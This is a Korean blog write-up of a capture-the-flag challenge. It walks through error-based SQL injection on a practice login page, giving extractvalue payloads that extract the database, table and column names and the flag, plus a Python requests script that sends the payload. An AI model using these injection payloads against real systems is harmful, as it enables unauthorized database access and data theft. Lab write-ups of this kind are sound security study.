IT 성장기 (교육이수)/CTF 문제풀이

[모의해킹 CTF] Error Based SQLi3

eezy 2024. 6. 3. 23:28

모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성. 

 

Error Based SQLi3

목차

1. SQL Injection Point 찾기

2. Data 추출 코드

3. Python 코드

 

문제 : id - normaltic / pw - 1234 / flag를 회수하라

SQL Injection Point 찾기

SQL Injection Point 확인하기

 

아래 구문대로 id의 입력값을 대입해보고, 결과를 확인한다. -> AND 조건 사용이 가능하다

//id란의 입력값
normaltic’ and ‘1’=‘1 <결과 : 로그인 성공>
normaltic’ or ‘1’=‘1 <결과 : 로그인 실패>

 

일부러 조건을 틀리게 입력하면, 아래 창이 확인되며, 로그인페이지에 머무른다. 

id
normaltic' and ('1'='2') and '1'='1

 

 

Order by 조건을 시도해본다

 

1, 2까지 로그인이 성공하며, 3에서 아래와 같은 Error 문구가 출력된다. 

id
normaltic' order by 3#

 

 

extractvalue 문이 가능한지 확인해본다. 

id
normaltic’ and extractvalue(‘1’, concat(0x3a, (select ’normaltic’))) and ‘1’=‘1

 

 

Data 추출 코드

입력값은 id 만 변화하며, pass는 그대로 1234를 활용한다. 아래에는 단계별로 id에 넣은 입력값만 설명한다. 

단계별로 limit 1 offset 0 조건을 걸어주는 이유는, 위의 error 메세지에는 1개의 데이터만 가져올 수 있기 때문이다. 

1. 데이터베이스 이름 추출

'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1"

2. Table 명 추출

'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 1 offset 0))) and '1'='1"

3. Column 명 추출

 'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 1 offset 0))) and '1'='1"

4. Data 추출

 'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table limit 1 offset 0))) and '1'='1"

 

 

Python 코드

데이터 출력 단계에 따라, UserId 값을 변경하여 원하는 데이터를 출력한다.

사실, 이 정도 단계는 코드를 작성하는 것보다 직접 해보는 것이 더 빠르다. 

 

import requests
import re

print("[*] Sql Injection3 ")

url = 'http://ctf.segfaulthub.com:7777/sqli_2/login.php'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded', #POST로 가져온 데이터는 url인코딩 되어 처리된다.
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}

data = {
    'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table limit 1 offset 0))) and '1'='1",
    'Password': '1234',
    'Submit': 'Login'
}

session = requests.Session()

response = requests.post(url, headers=headers, data=data) #데이터를 POST 방식으로 전송한다

if response.status_code == 200: #응답 코드는 200
    match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
    if match:
        print(match.group(0)) #userid에서 오류를 발생시켜 얻은 데이터를 추출한다. 
    else:
        match = re.search (r'User Name :.*', response.text) #만약 로그인에 성공한다면, 로그인된 id 명을 추출한다.
        if match:
            print(match.group(0))
        else:
            print("Required text not found in the response.") #Error 발생되지 않으며 로그인도 실패한 경우, 문구를 출력한다. 
else:
    print(f"Failed to get response: {response.status_code}") #응답 코드가 200이 아닌경우, 받은 응답 코드를 출력한다.

 

파이썬 실행 시, 아래 양식으로 데이터가 출력된다

 

1. 로그인 성공

[*] Sql Injection3 
User Name : normaltic</p>

 

2. Error 값 출력

[*] Sql Injection3 
Could not update data: XPATH syntax error: ':sqli_2'